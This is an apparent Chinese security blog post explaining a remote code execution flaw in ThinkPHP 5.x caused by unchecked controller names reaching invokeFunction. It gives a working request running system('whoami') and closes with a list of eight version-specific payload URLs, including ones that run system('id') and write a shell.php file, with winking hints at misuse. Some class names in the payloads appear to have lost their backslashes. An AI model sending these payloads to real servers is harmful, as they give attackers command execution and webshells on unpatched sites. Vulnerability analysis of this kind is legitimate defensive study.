先來簡單說說前天thinkphp官方修復的一個getshell漏洞,框架對控制器沒有進行足夠的檢測導致的一處getshell

影響的範圍: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 導致系統被提權(你懂的)

這裡附上一個自己測試的 thinkphp的 鏈接 thinkphp.cn/download/12 版本是5.0.22

先來講下,5.0 跟5.1的區別吧,tp5.1中引入了容器(Container)和門面(Facade)這兩個新的類 tp5.0是沒有這兩個新的類的,

漏洞原理

URL:192.168.188.141/public/

我們先來看看App類裏的 exec函數裏的執行分層控制器的操作

我們這裡是把controller 的調用信息跟配置信息全部傳到了 invokeFunction 這個 執行函數裡面去了

因為thinkApp是第二個入口,在tp運行的時候就會被載入 所以用thinkApp裡面的分層控制器的執行操作的時候,需要去調用invokeFunction這個函數。

這個函數有兩個參數,如上圖所示,第一個是函數的名字,第二個參數數組,

比如$function傳入BaiDu然後$vars傳入[12,555]就相當於調用BaiDu(12,555)

此處我們把function傳入call_user_func_array然後vars[0]傳入我們要執行的函數的名字vars[1]傳入要執行函數的參數,因為vars是個數組 所以此處我們的get請求需要這樣寫

vars[]=函數名&vars[1][]=參數

此處是利用php的數組注入

此時此刻就可以開始利用遠程代碼執行漏洞了 比如我們要執行system函數 他的參數是whoami

192.168.188.141/public/[0]=system&vars[1][]=whoami

下面你懂的,作為一個接班人我們要做的就是修復他(為所欲為?),當然官方更新的最新版本是已經修復了的

這裡就代碼執行成功,以下奉獻上tp不同版本的payload

1. ?s=index/thinkRequest/input&filter=phpinfo&data=1

2. ?s=index/thinkRequest/input&filter=system&data=id 3. ?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content= 4. ?s=index/thinkviewdriverPhp/display&content= 5. ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6. ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7. ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8. ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

本文原創作者:City,本文屬於華盟網,轉載請註明來源於華盟網


推薦閱讀:
相關文章